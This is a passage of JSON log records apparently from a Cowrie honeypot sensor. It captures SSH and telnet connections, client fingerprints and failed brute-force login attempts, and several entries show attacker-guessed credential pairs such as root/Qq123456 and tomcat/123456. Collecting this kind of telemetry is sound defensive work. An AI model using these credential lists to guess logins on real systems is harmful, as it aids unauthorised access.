0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:25.409760Z","src_ip":"176.65.132.129","session":"c5b7f02f5fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:25.660645Z","src_ip":"176.65.132.129","session":"c5b7f02f5fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:26.749332Z","src_ip":"176.65.132.129","session":"c5b7f02f5fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.63149619102478,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:27.571963Z","src_ip":"45.58.127.90","session":"22564cb54e44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43640,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb430d530dc","protocol":"ssh","message":"New connection: 176.65.132.129:43640 (159.203.135.109:22) [session: cdb430d530dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:28.717951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:28.722896Z","src_ip":"176.65.132.129","session":"cdb430d530dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:28.805622Z","src_ip":"176.65.132.129","session":"cdb430d530dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:29.055404Z","src_ip":"176.65.132.129","session":"cdb430d530dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:30.143293Z","src_ip":"176.65.132.129","session":"cdb430d530dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55732,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa09a63e4b0","protocol":"telnet","message":"New connection: 45.58.127.90:55732 (10.17.0.5:23) [session: dfa09a63e4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:30.580070Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43650,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e05bd7053c","protocol":"ssh","message":"New connection: 176.65.132.129:43650 (159.203.135.109:22) [session: 95e05bd7053c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.040546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.045223Z","src_ip":"176.65.132.129","session":"95e05bd7053c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.258480Z","src_ip":"176.65.132.129","session":"95e05bd7053c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52216,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1daa1c7c40f","protocol":"ssh","message":"New connection: 172.237.20.62:52216 (159.203.135.109:22) [session: f1daa1c7c40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.618118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.623033Z","src_ip":"172.237.20.62","session":"f1daa1c7c40f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.655689Z","src_ip":"176.65.132.129","session":"95e05bd7053c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:32.829189Z","src_ip":"172.237.20.62","session":"f1daa1c7c40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":32152,"dst_ip":"10.17.0.5","dst_port":22,"session":"d367f4b14cc8","protocol":"ssh","message":"New connection: 176.65.132.190:32152 (10.17.0.5:22) [session: d367f4b14cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:33.230382Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:33.234891Z","src_ip":"176.65.132.190","session":"d367f4b14cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:33.317008Z","src_ip":"172.237.20.62","session":"f1daa1c7c40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:33.740436Z","src_ip":"176.65.132.129","session":"95e05bd7053c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:34.482431Z","src_ip":"172.237.20.62","session":"f1daa1c7c40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43658,"dst_ip":"159.203.135.109","dst_port":22,"session":"a841e99ec3bd","protocol":"ssh","message":"New connection: 176.65.132.129:43658 (159.203.135.109:22) [session: a841e99ec3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:35.556240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:35.560960Z","src_ip":"176.65.132.129","session":"a841e99ec3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:35.643459Z","src_ip":"176.65.132.129","session":"a841e99ec3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:35.890341Z","src_ip":"176.65.132.129","session":"a841e99ec3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:37.119030Z","src_ip":"176.65.132.129","session":"a841e99ec3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47728,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c01dc57688","protocol":"ssh","message":"New connection: 176.65.132.129:47728 (159.203.135.109:22) [session: a4c01dc57688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:38.945980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:38.950604Z","src_ip":"176.65.132.129","session":"a4c01dc57688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:39.033943Z","src_ip":"176.65.132.129","session":"a4c01dc57688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:39.282673Z","src_ip":"176.65.132.129","session":"a4c01dc57688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:40.369286Z","src_ip":"176.65.132.129","session":"a4c01dc57688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a705a5ed200","protocol":"telnet","message":"New connection: 45.58.127.90:49552 (10.17.0.5:23) [session: 0a705a5ed200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:41.507201Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47746,"dst_ip":"159.203.135.109","dst_port":22,"session":"5898a4837b49","protocol":"ssh","message":"New connection: 176.65.132.129:47746 (159.203.135.109:22) [session: 5898a4837b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:42.480561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:42.485235Z","src_ip":"176.65.132.129","session":"5898a4837b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:42.568329Z","src_ip":"176.65.132.129","session":"5898a4837b49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:42.815652Z","src_ip":"176.65.132.129","session":"5898a4837b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec5d0a8f7079","protocol":"ssh","message":"New connection: 172.237.20.62:42080 (159.203.135.109:22) [session: ec5d0a8f7079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:43.538743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:43.543255Z","src_ip":"172.237.20.62","session":"ec5d0a8f7079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:43.706393Z","src_ip":"172.237.20.62","session":"ec5d0a8f7079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:43.900762Z","src_ip":"176.65.132.129","session":"5898a4837b49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:44.196570Z","src_ip":"172.237.20.62","session":"ec5d0a8f7079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:45.362515Z","src_ip":"172.237.20.62","session":"ec5d0a8f7079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58356,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3da2ab2cfb1","protocol":"ssh","message":"New connection: 176.65.132.129:58356 (159.203.135.109:22) [session: e3da2ab2cfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:45.899515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:45:45.905529Z","src_ip":"176.65.132.129","session":"e3da2ab2cfb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 